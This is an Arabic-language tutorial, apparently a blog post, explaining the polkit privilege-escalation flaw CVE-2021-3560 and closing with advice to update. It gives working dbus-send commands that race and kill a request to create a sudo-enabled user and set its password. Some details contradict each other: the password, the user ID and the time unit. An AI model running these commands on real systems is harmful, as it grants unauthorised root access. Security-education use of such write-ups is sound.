
استغلال ثغرة CVE-2021-3560 في polkit
في عام 2021، اكتشف باحث يدعى Kevin BackHouse ثغرة تصعيد صلاحيات في أداة polkit. ومع ذلك، ليست جميع إصدارات Linux معرضة لهذه الثغرة.
فيما يلي مثال على إصدار معرض للثغرة؛
إن معظم إصدارات Linux الحديثة تحتوي بالفعل على إصلاح لهذه الثغرة، ومع ذلك، لا تزال الإصدارات الأقدم المذكورة أعلاه تحتوي على هذه الثغرة.
خدمة Polkit هي خدمة نظام مثبتة افتراضيًا في العديد من توزيعات Linux. وهي تُستخدم بواسطة systemd، لذا فإن أي توزيعة Linux تستخدم systemd تستخدم أيضًا polkit.
خدمة Polkit هي خدمة النظام التي تعمل في الخلفية عندما ترى مربع حوار، على سبيل المثال؛
إذا احتجت في أي وقت إلى تغيير الصلاحيات أو القيام بشيء يتطلب صلاحيات أعلى مثل إنشاء حساب مستخدم، فإن Polkit هو المسؤول عن السماح بذلك الإجراء أو رفضه.
تتيح CVE-2021-3560 لمهاجم محلي غير مميز الحصول على صلاحيات الجذر (root). من السهل جدًا وسريع استغلالها، لذلك من المهم تحديث تثبيتات Linux لديك في أقرب وقت ممكن. أي نظام مثبت عليه إصدار polkit 0.113 (أو أحدث) يكون معرضًا للخطر. ويشمل ذلك التوزيعات الشائعة مثل RHEL 8 و Ubuntu 20.04.
من خلال إرسال رسائل dbus يدويًا إلى dbus-daemon (وهو في الأساس API يسمح للعمليات المختلفة بالتواصل مع بعضها البعض)، ثم قتل الطلب قبل معالجته بالكامل، يمكننا خداع polkit للسماح بالأمر.
dbus-daemon هو برنامج يعمل في الخلفية ويتوسط الرسائل بين التطبيقات.
بشكل أساسي، سيتم إعادة إنتاج هذه الثغرة باتباع الخطوات التالية؛
يرسل المهاجم يدويًا رسالة dbus إلى accounts-daemon يطلب فيها إنشاء حساب جديد بصلاحيات sudo (أو فيما بعد، تعيين كلمة مرور للمستخدم الجديد). تحصل هذه الرسالة على معرّف فريد من dbus-daemon.
يقتل المهاجم الرسالة بعد أن يستقبلها polkit، ولكن قبل أن تتاح لـ polkit فرصة معالجة الرسالة. وهذا يؤدي فعليًا إلى تدمير معرّف الرسالة الفريد.
يطلب polkit من dbus-daemon معرف المستخدم (user ID) الخاص بالمستخدم الذي أرسل الرسالة، مع الإشارة إلى معرّف الرسالة (المحذوف الآن).
لا يستطيع dbus-daemon العثور على معرّف الرسالة لأننا قمنا بقتلها في الخطوة الثانية. يتعامل مع الخطأ بالرد برمز خطأ.
يسيء polkit التعامل مع الخطأ ويستبدل معرف المستخدم بـ 0 -- أي حساب الجذر (root) على الجهاز.
نظرًا لاعتقاده أن المستخدم الجذر هو من طلب الإجراء، يسمح polkit بمرور الطلب دون تحقق.
باختصار، من خلال تدمير معرّف الرسالة قبل أن تتاح لـ dbus-daemon فرصة إعطاء polkit المعرف الصحيح، نستغل سوء معالجة الأخطاء في polkit لخداع الأداة وجعلها تعتقد أن الطلب صدر من المستخدم الجذر صاحب الصلاحيات المطلقة.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
في هذه الحالة، عند محاولة إنشاء المستخدم lucas، نحصل على رسالة تفيد بعدم وجود إذن (المصادقة مطلوبة).
يقوم هذا الأمر بإرسال رسالة dbus يدويًا إلى accounts daemon، ويعرض الاستجابة وينشئ مستخدمًا جديدًا باسم lucas (string:lucas)، مع وصف "test vulns" (string:"test vulns") وتعيين عضوية مجموعة sudo على true (المشار إليها بـ int32:1).
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
في هذه الحالة، نستخدم نفس أمر إنشاء المستخدم في الخطوة 1، ولكننا نستخدم الدالة 'time' لإرجاع الوقت الذي يستغرقه هذا الأمر.
يستغرق ذلك 0.011 ثانية. سيكون هذا الرقم مختلفًا قليلاً في كل مرة تقوم فيها بتشغيل الأمر.
لنجرب هذا. نحتاج إلى إرسال رسالة dbus، ثم قتلها في منتصف الطريق تقريبًا:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
أرسلنا رسالة dbus في وظيفة خلفية (باستخدام علامة العطف & لوضع الأمر في الخلفية). ثم طلبنا منها الانتظار لمدة 0.005 مللي ثانية، ثم قتل العملية السابقة ($!). نجح هذا في إنشاء المستخدم الجديد وإضافته إلى مجموعة sudo. يجب أن نلاحظ في هذه المرحلة أن معرف المستخدم (user ID) للمستخدم الجديد في هذه الحالة هو 1000.
باستخدام openssl، ننشئ كلمة مرور من النوع 6 (SHA512-crypt) وكلمة المرور النصية الصريحة الخاصة بنا.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
في هذه الحالة، نقوم بتضمين كلمة مرور (banana) للمعرف 1005 الذي تم إنشاؤه في الخطوات أعلاه.
تم الكشف عن هذه الثغرة علنًا، وصدر الإصلاح في 3 يونيو 2021، وتم تعيينها CVE-2021-3560.
تحقق من تحديث جهازك باستخدام yum/apt update/upgrade.